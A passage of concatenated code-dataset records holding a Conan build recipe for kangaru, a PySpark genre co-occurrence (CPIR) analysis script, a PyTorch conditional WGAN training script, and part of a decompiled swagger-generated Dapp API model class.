self._source_subfolder)\n\n def _configure_cmake(self):\n if self._cmake:\n return self._cmake\n self._cmake = CMake(self)\n self._cmake.definitions[\"KANGARU_REVERSE_DESTRUCTION\"] = self.options.reverse_destruction\n self._cmake.definitions[\"KANGARU_NO_EXCEPTION\"] = self.options.no_exception\n self._cmake.configure(build_folder=self._build_subfolder)\n return self._cmake\n\n def build(self):\n for patch in self.conan_data.get(\"patches\", {}).get(self.version, []):\n tools.patch(**patch)\n cmake = self._configure_cmake()\n cmake.build()\n\n def package(self):\n cmake = self._configure_cmake()\n cmake.install()\n tools.rmdir(os.path.join(self.package_folder, \"lib\"))\n self.copy(os.path.join(self._source_subfolder, \"LICENSE\"), \"licenses\")\n","sub_path":"recipes/kangaru/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"346655095","text":"from operator import itemgetter\nimport numpy\n\npath = \"test_data.out\"\n\ndef create_index_dict(inverse=False):\n\tdata = sc.textFile(path, 80)\n\tindex = [int(x) for x in data.flatMap(lambda line : line.split(\"\\t\")).distinct().collect()]\n\tindex.sort()\n\tindex_dict = dict()\n\tif inverse:\n\t\tfor new, old in enumerate(index):\n\t\t\tindex_dict[new] = old\t\t\n\telse:\n\t\tfor new, old in enumerate(index):\n\t\t\tindex_dict[old] = new\n\treturn index_dict\n\n\"\"\" Select the top_n features\"\"\"\ndef selectTopNFeatures(top_n):\n\tdata = sc.textFile(path, 80)\n\tcolumns = data.flatMap(lambda line : line.split(\"\\t\")).map(lambda col : (index_dict[int(col)], 1)).reduceByKey(lambda x, y : x + y)\n\tsortedFeatures = sorted(columns.collect(), key=itemgetter(1), reverse=True)\n\ttopFeatures = list(feature[0] for feature in sortedFeatures[0 : top_n]) # select & filter out the word count\n\treturn topFeatures\n\ndef sortPoint(line):\n\tvalues = [index_dict[int(x)] for x in line.split(\"\\t\")]\n\tvalues = list(set(values))\n\tvalues.sort()\n\treturn values\n\ndef check_occurrence(line):\n\tans = []\n\tfor i in line:\n\t\tans.append((i, 1))\n\treturn ans\n\ndef check_cooccurrence(line):\n\tans = []\n\tfor i in line:\n\t\tfor j in line:\n\t\t\tkey = str(i) + '|' + str(j)\n\t\t\tans.append((key, 1))\n\treturn ans\n\nindex_dict = create_index_dict()\ninverse_index_dict = create_index_dict(inverse=True)\n\ndata = sc.textFile(path, 80)\ncolCount = data.flatMap(lambda line : line.split(\"\\t\")).distinct().count()\n\nselect_n = colCount\ntopFeatures = selectTopNFeatures(select_n)\n\nsortedData = data.map(sortPoint)#.filter(lambda list : len(list) >= 10)\nrowCount = float(sortedData.count())\nsortedData.cache()\n\nprob = numpy.zeros(select_n)\n\ncount = sortedData.flatMap(check_occurrence).reduceByKey(lambda x, y : x + y).collect()\nfor item in count:\n\tprob[topFeatures.index(item[0])] = item[1] / rowCount\n\"\"\"\nX => Y\np(Y|X) = p(Y U X) / p(X)\nCPIR(Y|X) = (p(Y|X) - p(Y)) / (1 - p(Y)) if p(Y|X) >= P(Y), p(Y) != 1\nCPIR(Y|X) = (p(Y|X) - p(Y)) / (p(Y)) if P(Y) > p(Y|X), p(Y) != 0\n\"\"\"\nCPIR = numpy.empty(select_n * select_n).reshape(select_n, select_n)\nCPIR.fill(-1)\n\ncooccurrence = numpy.zeros(select_n * select_n).reshape(select_n, select_n)\n\ndef get_CPIR(line):\n\tparts = line[0].split('|')\n\tcount = line[1]\n\ti = topFeatures.index(int(parts[0]))\n\tj = topFeatures.index(int(parts[1]))\n\tcooccurrence = count / rowCount\n\tpY_X = count / rowCount / prob[i]\n\tif pY_X >= prob[j]:\n\t\tCPIR = (pY_X - prob[j]) / (1 - prob[j])\n\telse:\n\t\tCPIR = (pY_X - prob[j]) / (prob[j])\n\treturn ((i, j), CPIR, cooccurrence)\n\nfills = sortedData.flatMap(check_cooccurrence).reduceByKey(lambda x, y : x + y).map(get_CPIR).collect()\n\nfor fill in fills:\n\tCPIR[fill[0]] = fill[1]\n\nfor fill in fills:\n\tcooccurrence[fill[0]] = fill[2]\n\nfor i in range(len(topFeatures)):\n\ttopFeatures[i] = inverse_index_dict[topFeatures[i]]\n\ngenres = numpy.array(numpy.loadtxt(\"test_data_genre_meta\", delimiter=\"\\t\", dtype=\"string\"))\n\ngenre_dict = {}\n\nfor genre in genres:\n\tgenre_dict[int(genre[0])] = genre[1] + '\\t' + genre[2]\n\ndef get_negative(frequency_threshold, independence_threshold):\n\tans = []\n\tfor i in range(select_n):\n\t\tfor j in range(select_n):\n\t\t\tif CPIR[i][j] < 0:\n\t\t\t\tif prob[i] > frequency_threshold:\n\t\t\t\t\tif abs(prob[i]*prob[j]-cooccurrence[i][j]) > independence_threshold:\n\t\t\t\t\t\tfirst = genre_dict[topFeatures[i]].split('\\t')\n\t\t\t\t\t\tsecond = genre_dict[topFeatures[j]].split('\\t')\n\t\t\t\t\t\tresult = ( '(' + first[0] + ' -> ' + second[0] +')', \n\t\t\t\t\t\t\t'(' + first[1] + ' -> ' + second[1] +')', \n\t\t\t\t\t\t\tCPIR[i][j])\n\t\t\t\t\t\tans.append(result)\n\tans = sorted(ans, key=itemgetter(2))\n\treturn ans\n\ndef get_positive(frequency_threshold, independence_threshold):\n\tans = []\n\tfor i in range(select_n):\n\t\tfor j in range(select_n):\n\t\t\tif CPIR[i][j] > 0 and i != j:\n\t\t\t\tif prob[i] > frequency_threshold:\n\t\t\t\t\tif abs(prob[i]*prob[j]-cooccurrence[i][j]) > independence_threshold:\n\t\t\t\t\t\tfirst = genre_dict[topFeatures[i]].split('\\t')\n\t\t\t\t\t\tsecond = genre_dict[topFeatures[j]].split('\\t')\n\t\t\t\t\t\tresult = ( '(' + first[0] + ' -> ' + second[0] +')', \n\t\t\t\t\t\t\t'(' + first[1] + ' -> ' + second[1] +')', \n\t\t\t\t\t\t\tCPIR[i][j])\n\t\t\t\t\t\tans.append(result)\n\tans = sorted(ans, key=itemgetter(2), reverse=True)\n\treturn ans\n\nfrequency_threshold = 0.00001\nindependence_threshold = 0.00001\nresult = get_negative(frequency_threshold, independence_threshold)\nlen(result)\n\nf = open(\"negative_correlation_0.00001.csv\", \"w\")\n\nfor line in result:\n\tf.write(line[0] + \"\\t\" + line[1] + '\\t' + str(line[2]) + \"\\n\")\n\nf.close()\n\nfrequency_threshold = 0.00001\nindependence_threshold = 0.00001\nresult = get_positive(frequency_threshold, independence_threshold)\nlen(result)\n\nf = open(\"positive_correlation_0.00001.csv\", \"w\")\n\nfor line in result:\n\tf.write(line[0] + \"\\t\" + line[1] + '\\t' + str(line[2]) + \"\\n\")\n\nf.close()","sub_path":"small_dataset/count/CPIR_negative_filter.py","file_name":"CPIR_negative_filter.py","file_ext":"py","file_size_in_byte":4728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"298636327","text":"from utils import SimpleDataset, np2Var, tensor2Var, create_fake_tags, array_back_style\nfrom model import Generator, Critic, Generator_img2img, Critic_img2img\n\nimport os\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable, grad\nimport torchvision as tv\nfrom torch.utils.data import Dataset, DataLoader\n\n# os.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\n\n\ndef calc_grad_penalty(args, net, real_data, fake_data, real_tags, fake_tags):\n\n alpha = torch.FloatTensor(real_data.size(0), 1, 1, 1).uniform_(0, 1)\n # alpha.uniform_(0, 1)\n\n # alpha_t = alpha.expand(real_data.size())\n\n inter_data = alpha * real_data + ((1 - alpha) * fake_data)\n\n inter_tags = alpha * real_tags + ((1 - alpha) * fake_tags)\n\n # inter_tags = real_tags\n inter_data = tensor2Var(inter_data, requires_grad=True)\n inter_tags = tensor2Var(inter_tags, requires_grad=True)\n\n disc_interpolates = net(inter_data, inter_tags)\n\n # assert disc_interpolates.size() == one_label.size(), 'one_label size mismatch'\n input_data = [inter_data, inter_tags]\n input_one = [tensor2Var(torch.ones(disc_interpolates.size())), \n tensor2Var(torch.ones(disc_interpolates.size()))]\n\n # input_data = inter_data\n # input_one = tensor2Var(torch.ones(disc_interpolates.size()))\n\n gradients_x, gradients_tags = grad(\n outputs=disc_interpolates, \n inputs=input_data,\n grad_outputs=input_one,\n create_graph=True, retain_graph=True, only_inputs=True)\n\n while len(gradients_x.size()) > 1:\n gradients_x = gradients_x.norm(2, dim=(len(gradients_x.size()) - 1))\n\n gradients_tags = gradients_tags.norm(2, dim=1)\n\n gradients = (gradients_x ** 2 + gradients_tags ** 2).sqrt()\n # gradients = gradients_x\n gradient_penalty = args.LAMBDA * ((gradients - 1.0) ** 2).mean()\n return gradient_penalty\n\ndef calc_x_grad_penalty(args, net, real_data, fake_data, real_tags, fake_tags):\n\n alpha = torch.FloatTensor(real_data.size(0), 1, 1, 1).uniform_(0, 1)\n # alpha.uniform_(0, 1)\n\n # alpha_t = alpha.expand(real_data.size())\n\n inter_data = alpha * real_data + ((1 - alpha) * fake_data)\n\n\n # inter_tags = real_tags\n inter_data = tensor2Var(inter_data, requires_grad=True)\n\n disc_interpolates, _ = net(inter_data, real_tags)\n\n # assert disc_interpolates.size() == one_label.size(), 'one_label size mismatch'\n\n input_data = inter_data\n input_one = tensor2Var(torch.ones(disc_interpolates.size()))\n\n gradients_x = grad(\n outputs=disc_interpolates, \n inputs=input_data,\n grad_outputs=input_one,\n create_graph=True, retain_graph=True, only_inputs=True)[0]\n\n while len(gradients_x.size()) > 1:\n gradients_x = gradients_x.norm(2, dim=(len(gradients_x.size()) - 1))\n\n gradients = gradients_x\n gradient_penalty = args.LAMBDA * ((gradients - 1.0) ** 2).mean()\n return gradient_penalty\ndef bce_loss(output, target, mask):\n assert output.size() == target.size()\n assert output.size() == mask.size()\n return -(target * torch.log(output + 1e-8) * mask + \\\n (1.0 - target) * torch.log(1.0 - output + 1e-8) * mask).sum(dim=1).mean()\n\ndef train_C(args, data, tags, mask, netG_pre, netG, netC, optC):\n\n noise = torch.FloatTensor(data.size(0), args.nz, 1, 1).uniform_(0, args.noise_max)\n\n noise_v = tensor2Var(noise, volatile=True)\n data_v, tags_v, mask_v = tensor2Var(data), tensor2Var(tags), tensor2Var(mask)\n\n _, tags_id = torch.topk(tags, 2, dim=1)\n fake_tags = torch.zeros(tags.size())\n for i in range(tags_id.size(0)):\n hair, eyes = create_fake_tags(tags_id[i, 0], tags_id[i, 1])\n fake_tags[i, hair] = 1.0\n fake_tags[i, eyes] = 1.0\n fake_tags_v = tensor2Var(fake_tags)\n\n fake_data_v = netG_pre(noise_v, tags_v)\n fake_data_v = Variable(netG(fake_data_v, tags_v).data)\n\n # real data with real tags\n real_real, real_real_class = netC(data_v, tags_v)\n # real data with fake tags\n real_fake, real_fake_class = netC(data_v, fake_tags_v)\n # fake data with real tags\n fake_real, fake_real_class = netC(fake_data_v, tags_v)\n # fake data with fake tags\n # fake_fake = netC(fake_data_v, fake_tags_v)\n\n # real_fake_grads = calc_grad_penalty(args, netC, data, data, tags, fake_tags)\n fake_real_grads = calc_x_grad_penalty(args, netC, data, fake_data_v.cpu().data, tags, tags)\n # fake_fake_grads = calc_grad_penalty(args, netC, data, fake_data_v.cpu().data, tags, fake_tags)\n\n real = real_real.mean()\n fake = fake_real.mean()\n grads_penalty = fake_real_grads\n\n class_loss = (bce_loss(real_real_class, tags_v, mask_v) + \\\n bce_loss(fake_real_class, tags_v, mask_v)) / 2.0\n\n\n netC.zero_grad()\n\n\n loss = -real + fake + grads_penalty + class_loss\n loss.backward()\n # grads_penalty.backward()\n\n\n optC.step()\n\n return (real - fake).cpu().data.numpy()[0], class_loss.cpu().data.numpy()[0]\n\ndef train_G(args, data, tags, mask, netG_pre, netG, netC, optG):\n noise = torch.FloatTensor(data.size(0), args.nz, 1, 1).uniform_(0, args.noise_max)\n\n noise_v = tensor2Var(noise)\n\n # fake_tags = torch.zeros(tags.size())\n # for i in range(fake_tags.size(0)):\n # hair, eyes = create_fake_tags(0, 13)\n # fake_tags[i, hair] = 1.0\n # fake_tags[i, eyes] = 1.0\n # fake_tags_v = tensor2Var(fake_tags)\n\n tags_v, mask_v = tensor2Var(tags), tensor2Var(mask)\n\n fake_data_v = Variable(netG_pre(noise_v, tags_v).data)\n\n fake_data_v = netG(fake_data_v, tags_v)\n\n fake_real, fake_real_class = netC(fake_data_v, tags_v)\n\n loss = -fake_real.mean() + bce_loss(fake_real_class, tags_v, mask_v)\n\n netG.zero_grad()\n loss.backward()\n\n optG.step()\n\n return (-loss).cpu().data.numpy()[0]\n\n\ndef run_epoch(args, tr_loader, netG_pre, netG, netC, optG, optC):\n # for i, (data, label) in enumerate(tr_loader):\n data_iter = iter(tr_loader)\n iteration = 0\n\n while iteration < len(data_iter):\n ################\n ## update Critic\n ################\n for p in netG.parameters():\n p.requires_grad = False\n for p in netC.parameters():\n p.requires_grad = True\n j = 0\n while iteration < len(data_iter) and j < 5:\n data, tags, mask = next(data_iter)\n W, C = train_C(args, data, tags, mask, netG_pre, netG, netC, optC)\n\n # for p in netC.parameters():\n # p.data.clamp_(-0.01, 0.01)\n\n j += 1\n iteration += 1\n ###################\n ## update Generator\n ###################\n for p in netG.parameters():\n p.requires_grad = True\n for p in netC.parameters():\n p.requires_grad = False\n\n F = train_G(args, data, tags, mask, netG_pre, netG, netC, optG)\n \n return W, C, F, data, tags.numpy(), mask.numpy()\n\ndef train(args, logger, tags_dict, mask_dict, id2style):\n\n # tr_dset = SimpleDataset(args.img_dir, tags_dict, mask_dict, transform)\n tr_dset = SimpleDataset(args.img_dir, tags_dict, mask_dict, args.image, args.degree)\n\n tr_loader = DataLoader(\n tr_dset,\n batch_size=args.batch,\n shuffle=True,\n num_workers=16,\n )\n\n # netG = G_net(args.nz, len(id2style))\n # netC = D_net(len(id2style))\n\n netG_pre = Generator(\n nz=args.nz,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=64\n )\n\n netG = Generator_img2img(\n nz=args.nc,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=args.image\n )\n netC = Critic_img2img(\n nz=args.nz,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=args.image\n )\n if torch.cuda.is_available():\n netG_pre = netG_pre.cuda()\n netG, netC = netG.cuda(), netC.cuda()\n\n\n netG_pre_path = 'ADLxMLDS_hw4_model/binary_style_mask_aug/netG_500.pth'\n netG_pre.load_state_dict(torch.load(netG_pre_path, map_location=lambda storage, loc: storage))\n for p in netG_pre.parameters():\n p.requires_grad = False\n netG_pre.eval()\n\n\n logger.info(netG)\n logger.info(netC)\n\n optG = torch.optim.Adam(netG.parameters(), lr=args.lr, betas=(0.5, 0.9))\n optC = torch.optim.Adam(netC.parameters(), lr=args.lr, betas=(0.5, 0.9))\n\n min_W = 1000.0\n sample_size = 16\n\n save_folder = os.path.join(args.root, args.save)\n load_folder = os.path.join(args.root, args.load)\n\n if args.load != '':\n netG_path = os.path.join(load_folder, 'netG_%d.pth' % args.model_id)\n netC_path = os.path.join(load_folder, 'netC_%d.pth' % args.model_id)\n netG.load_state_dict(torch.load(netG_path, map_location=lambda storage, loc: storage))\n netC.load_state_dict(torch.load(netC_path, map_location=lambda storage, loc: storage))\n\n logger.info('load from: %s success!!!!!!!!!!!!!' % netG_path)\n logger.info('load from: %s success!!!!!!!!!!!!!' % netC_path)\n\n\n W_list = []\n C_list = []\n epoch_list = []\n w2epoch = os.path.join(save_folder, 'w2epoch.png')\n c2epoch = os.path.join(save_folder, 'c2epoch.png')\n\n\n noise = torch.FloatTensor(sample_size, args.nz, 1, 1).uniform_(0, args.noise_max)\n noise_v = tensor2Var(noise, volatile=True)\n\n fake_tags = torch.zeros(sample_size, len(id2style))\n for i in range(fake_tags.size(0)):\n hair, eyes = create_fake_tags(-1, -1)\n fake_tags[i, hair] = 1.0\n fake_tags[i, eyes] = 1.0\n logger.info('%d: %s, %s' % (i, id2style[hair], id2style[eyes]))\n fake_tags_v = tensor2Var(fake_tags, volatile=True)\n\n print_ground_truth = 1\n\n transform = tv.transforms.Compose([\n tv.transforms.ToPILImage(),\n tv.transforms.Scale(64),\n tv.transforms.ToTensor(),\n ])\n\n for epoch in range(args.max_epoch + 1):\n W, C, _, real_data, real_tags, real_mask = run_epoch(args, tr_loader, netG_pre, \n netG, netC, optG, optC)\n\n logger.info('epoch: %d, Wasserstain Dist: %.4f, Class loss: %.4f' % (epoch, W, C))\n\n fake_data_v = netG_pre(noise_v, fake_tags_v)\n fake_data_v = netG(fake_data_v, fake_tags_v)\n\n if print_ground_truth:\n choose = random.randint(0, real_tags.shape[0] - sample_size)\n real_data = real_data[choose: choose+sample_size]\n real_tags = real_tags[choose: choose+sample_size]\n real_mask = real_mask[choose: choose+sample_size]\n\n real_style = array_back_style(real_tags, id2style)\n\n logger.info('real tags')\n logger.info(real_style)\n logger.info(real_mask)\n print_ground_truth = 0\n img_path = os.path.join(save_folder, 'real.png')\n tv.utils.save_image(real_data, img_path, nrow=4)\n\n img_list = []\n for i in range(fake_data_v.size(0)):\n img_list.append(transform(fake_data_v.cpu().data[i]))\n img_data = torch.stack(img_list)\n\n img_path = os.path.join(save_folder, 'fake_%d.png' % epoch)\n tv.utils.save_image(img_data, img_path, nrow=4)\n\n W_list.append(W)\n C_list.append(C)\n epoch_list.append(epoch)\n\n # plot(epoch_list, W_list, 'epochs', 'Wasserstain Distance', w2epoch)\n # plot(epoch_list, C_list, 'epochs', 'Class loss', c2epoch)\n\n if epoch % 50 == 0 and epoch != 0:\n netG_path = os.path.join(save_folder, 'netG_%d.pth' % epoch)\n netC_path = os.path.join(save_folder, 'netC_%d.pth' % epoch)\n\n torch.save(netG.state_dict(), netG_path)\n torch.save(netC.state_dict(), netC_path)\n\ndef test(args, logger, _id, _tags, id2style):\n netG_pre = Generator(\n nz=args.nz,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=64\n )\n netG = Generator_img2img(\n nz=args.nc,\n nc=args.nc,\n ntext=len(id2style),\n dim=64,\n image_size=args.image\n )\n\n if torch.cuda.is_available():\n netG = netG.cuda()\n netG_pre = netG_pre.cuda()\n\n logger.info(netG_pre)\n logger.info(netG)\n\n netG_pre_path = 'ADLxMLDS_hw4_model/binary_style_mask_aug/netG_500.pth'\n load_folder = os.path.join(args.root, args.load)\n\n if args.load != '':\n netG_path = os.path.join(load_folder, 'netG_%d.pth' % args.model_id)\n \n netG.load_state_dict(torch.load(netG_path, map_location=lambda storage, loc: storage))\n netG_pre.load_state_dict(torch.load(netG_pre_path, map_location=lambda storage, loc: storage))\n\n logger.info('load from: %s success!!!!!!!!!!!!!' % netG_path)\n logger.info('load from: %s success!!!!!!!!!!!!!' % netG_pre_path)\n else:\n logger.info('please load a model!!!!!')\n exit()\n\n i = 0\n torch.manual_seed(307)\n\n img_dir = os.path.join(args.img_save)\n\n if not os.path.exists(img_dir):\n os.mkdir(img_dir)\n\n\n transform = tv.transforms.Compose([\n tv.transforms.ToPILImage(),\n tv.transforms.Scale(64),\n tv.transforms.ToTensor(),\n ])\n netG.eval()\n netG_pre.eval()\n while i * args.batch < _tags.shape[0]:\n ba_tags = _tags[i*args.batch: (i+1)*args.batch]\n ba_id = _id[i*args.batch: (i+1)*args.batch]\n ba_tags_v = np2Var(ba_tags, volatile=True)\n # img_list = []\n for s in range(1, args.sample_num+1):\n\n noise = torch.FloatTensor(ba_tags.shape[0], args.nz , 1, 1).uniform_(0, args.noise_max)\n\n noise_v = tensor2Var(noise, volatile=True)\n\n fake_img = netG_pre(noise_v, ba_tags_v)\n fake_img = netG(fake_img, ba_tags_v).cpu().data\n\n # fake_img = transform(fake_img[0])\n\n # img_list.append(fake_img)\n for j in range(ba_tags.shape[0]):\n img = fake_img[j]\n img = transform(img)\n img_name = os.path.join(img_dir, 'sample_%s_%d.jpg' % (ba_id[j], s))\n tv.utils.save_image(img, img_name)\n # img = torch.stack((img_list))\n # img_name = os.path.join(img_dir, 'sample_%d.jpg' % i)\n # tv.utils.save_image(img, img_name)\n\n i += 1\n\n logger.info('Generation done~~~')\n\n","sub_path":"hw4/train_stage_2.py","file_name":"train_stage_2.py","file_ext":"py","file_size_in_byte":14207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"476535602","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/erhu/project/gitrepo/hep-sdk/venv/lib/python3.6/site-packages/hep_rest_api/models/dapp.py\n# Compiled at: 2019-07-15 09:20:14\n# Size of source mod 2**32: 20358 bytes\n\"\"\"\n HEP REST API\n\n The REST API for HEP protocol # noqa: E501\n\n OpenAPI spec version: v1\n Contact: xiawu@zeuux.org\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\nimport pprint, re, six\n\nclass Dapp(object):\n __doc__ = 'NOTE: This class is auto generated by the swagger code generator program.\\n\\n Do not edit the class manually.\\n '\n swagger_types = {'dapp_id':'str', \n 'dapp_name':'str', \n 'icon':'str', \n 'dapp_public_key':'str', \n 'package_name':'str', \n 'bundle_id':'str', \n 'schema':'str', \n 'website':'str', \n 'deposit_contract_address':'str', \n 'dapp_type_ids':'list[int]', \n 'dapp_category_id':'int', \n 'auth_login_callback':'str', \n 'pay_order_callback':'str', \n 'proof_submit_callback':'str'}\n attribute_map = {'dapp_id':'dapp_id', \n 'dapp_name':'dapp_name', \n 'icon':'icon', \n 'dapp_public_key':'dapp_public_key', \n 'package_name':'package_name', \n 'bundle_id':'bundle_id', \n 'schema':'schema', \n 'website':'website', \n 'deposit_contract_address':'deposit_contract_address', \n 'dapp_type_ids':'dapp_type_ids', \n 'dapp_category_id':'dapp_category_id', \n 'auth_login_callback':'auth_login_callback', \n 'pay_order_callback':'pay_order_callback', \n 'proof_submit_callback':'proof_submit_callback'}\n\n def __init__(self, dapp_id=None, dapp_name=None, icon=None, dapp_public_key=None, package_name=None, bundle_id=None, schema=None, website=None, deposit_contract_address=None, dapp_type_ids=None, dapp_category_id=None, auth_login_callback=None, pay_order_callback=None, proof_submit_callback=None):\n \"\"\"Dapp - a model defined in Swagger\"\"\"\n self._dapp_id = None\n self._dapp_name = None\n self._icon = None\n self._dapp_public_key = None\n self._package_name = None\n self._bundle_id = None\n self._schema = None\n self._website = None\n self._deposit_contract_address = None\n self._dapp_type_ids = None\n self._dapp_category_id = None\n self._auth_login_callback = None\n self._pay_order_callback = None\n self._proof_submit_callback = None\n self.discriminator = None\n self.dapp_id = dapp_id\n self.dapp_name = dapp_name\n self.icon = icon\n self.dapp_public_key = dapp_public_key\n self.package_name = package_name\n self.bundle_id = bundle_id\n self.schema = schema\n self.website = website\n self.deposit_contract_address = deposit_contract_address\n self.dapp_type_ids = dapp_type_ids\n self.dapp_category_id = dapp_category_id\n self.auth_login_callback = auth_login_callback\n self.pay_order_callback = pay_order_callback\n self.proof_submit_callback = proof_submit_callback\n\n @property\n def dapp_id(self):\n \"\"\"Gets the dapp_id of this Dapp. # noqa: E501\n\n The decentralized application ID # noqa: E501\n\n :return: The dapp_id of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._dapp_id\n\n @dapp_id.setter\n def dapp_id(self, dapp_id):\n \"\"\"Sets the dapp_id of this Dapp.\n\n The decentralized application ID # noqa: E501\n\n :param dapp_id: The dapp_id of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if dapp_id is None:\n raise ValueError('Invalid value for `dapp_id`, must not be `None`')\n else:\n if dapp_id is not None:\n if len(dapp_id) > 64:\n raise ValueError('Invalid value for `dapp_id`, length must be less than or equal to `64`')\n if dapp_id is not None:\n if len(dapp_id) < 1:\n raise ValueError('Invalid value for `dapp_id`, length must be greater than or equal to `1`')\n self._dapp_id = dapp_id\n\n @property\n def dapp_name(self):\n \"\"\"Gets the dapp_name of this Dapp. # noqa: E501\n\n The decentralized application name # noqa: E501\n\n :return: The dapp_name of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._dapp_name\n\n @dapp_name.setter\n def dapp_name(self, dapp_name):\n \"\"\"Sets the dapp_name of this Dapp.\n\n The decentralized application name # noqa: E501\n\n :param dapp_name: The dapp_name of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if dapp_name is None:\n raise ValueError('Invalid value for `dapp_name`, must not be `None`')\n else:\n if dapp_name is not None:\n if len(dapp_name) > 64:\n raise ValueError('Invalid value for `dapp_name`, length must be less than or equal to `64`')\n if dapp_name is not None:\n if len(dapp_name) < 1:\n raise ValueError('Invalid value for `dapp_name`, length must be greater than or equal to `1`')\n self._dapp_name = dapp_name\n\n @property\n def icon(self):\n \"\"\"Gets the icon of this Dapp. # noqa: E501\n\n The icon of application # noqa: E501\n\n :return: The icon of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._icon\n\n @icon.setter\n def icon(self, icon):\n \"\"\"Sets the icon of this Dapp.\n\n The icon of application # noqa: E501\n\n :param icon: The icon of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if icon is None:\n raise ValueError('Invalid value for `icon`, must not be `None`')\n else:\n if icon is not None:\n if len(icon) > 64:\n raise ValueError('Invalid value for `icon`, length must be less than or equal to `64`')\n if icon is not None:\n if len(icon) < 1:\n raise ValueError('Invalid value for `icon`, length must be greater than or equal to `1`')\n self._icon = icon\n\n @property\n def dapp_public_key(self):\n \"\"\"Gets the dapp_public_key of this Dapp. # noqa: E501\n\n The public key of DApp # noqa: E501\n\n :return: The dapp_public_key of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._dapp_public_key\n\n @dapp_public_key.setter\n def dapp_public_key(self, dapp_public_key):\n \"\"\"Sets the dapp_public_key of this Dapp.\n\n The public key of DApp # noqa: E501\n\n :param dapp_public_key: The dapp_public_key of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if dapp_public_key is None:\n raise ValueError('Invalid value for `dapp_public_key`, must not be `None`')\n else:\n if dapp_public_key is not None:\n if len(dapp_public_key) > 64:\n raise ValueError('Invalid value for `dapp_public_key`, length must be less than or equal to `64`')\n if dapp_public_key is not None:\n if len(dapp_public_key) < 1:\n raise ValueError('Invalid value for `dapp_public_key`, length must be greater than or equal to `1`')\n self._dapp_public_key = dapp_public_key\n\n @property\n def package_name(self):\n \"\"\"Gets the package_name of this Dapp. # noqa: E501\n\n The package name such as com.demo.dev.android # noqa: E501\n\n :return: The package_name of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._package_name\n\n @package_name.setter\n def package_name(self, package_name):\n \"\"\"Sets the package_name of this Dapp.\n\n The package name such as com.demo.dev.android # noqa: E501\n\n :param package_name: The package_name of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if package_name is None:\n raise ValueError('Invalid value for `package_name`, must not be `None`')\n else:\n if package_name is not None:\n if len(package_name) > 64:\n raise ValueError('Invalid value for `package_name`, length must be less than or equal to `64`')\n if package_name is not None:\n if len(package_name) < 1:\n raise ValueError('Invalid value for `package_name`, length must be greater than or equal to `1`')\n self._package_name = package_name\n\n @property\n def bundle_id(self):\n \"\"\"Gets the bundle_id of this Dapp. # noqa: E501\n\n The bundle id such as com.demo.dev.ios for iOS platform # noqa: E501\n\n :return: The bundle_id of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._bundle_id\n\n @bundle_id.setter\n def bundle_id(self, bundle_id):\n \"\"\"Sets the bundle_id of this Dapp.\n\n The bundle id such as com.demo.dev.ios for iOS platform # noqa: E501\n\n :param bundle_id: The bundle_id of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if bundle_id is None:\n raise ValueError('Invalid value for `bundle_id`, must not be `None`')\n else:\n if bundle_id is not None:\n if len(bundle_id) > 64:\n raise ValueError('Invalid value for `bundle_id`, length must be less than or equal to `64`')\n if bundle_id is not None:\n if len(bundle_id) < 1:\n raise ValueError('Invalid value for `bundle_id`, length must be greater than or equal to `1`')\n self._bundle_id = bundle_id\n\n @property\n def schema(self):\n \"\"\"Gets the schema of this Dapp. # noqa: E501\n\n The routing schema # noqa: E501\n\n :return: The schema of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._schema\n\n @schema.setter\n def schema(self, schema):\n \"\"\"Sets the schema of this Dapp.\n\n The routing schema # noqa: E501\n\n :param schema: The schema of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if schema is None:\n raise ValueError('Invalid value for `schema`, must not be `None`')\n else:\n if schema is not None:\n if len(schema) > 64:\n raise ValueError('Invalid value for `schema`, length must be less than or equal to `64`')\n if schema is not None:\n if len(schema) < 1:\n raise ValueError('Invalid value for `schema`, length must be greater than or equal to `1`')\n self._schema = schema\n\n @property\n def website(self):\n \"\"\"Gets the website of this Dapp. # noqa: E501\n\n The dapp website link # noqa: E501\n\n :return: The website of this Dapp. # noqa: E501\n :rtype: str\n \"\"\"\n return self._website\n\n @website.setter\n def website(self, website):\n \"\"\"Sets the website of this Dapp.\n\n The dapp website link # noqa: E501\n\n :param website: The website of this Dapp. # noqa: E501\n :type: str\n \"\"\"\n if website is None:\n raise ValueError('Invalid value for `website`, must not be `None`')\n else:\n if website is not None:\n if len(website) > 64:\n raise ValueError('Invalid value for `website`, length must be less than or equal to `64`')\n if website is not None:\n if len(website) < 1:\n raise ValueError('Invalid value for `website`, length must be greater than or equal to `1`')\n self._website = website\n\n @property\n def deposit_contract_address(self):\n \"\"\"Gets the deposit_contract_address of this Dapp. # noqa: E501\n\n The deposit contract Address, the example is NEW182.... # noqa: E501\n\n :return: The deposit_contract_address of this Dapp. # noqa: E501\n :rtype: str\n 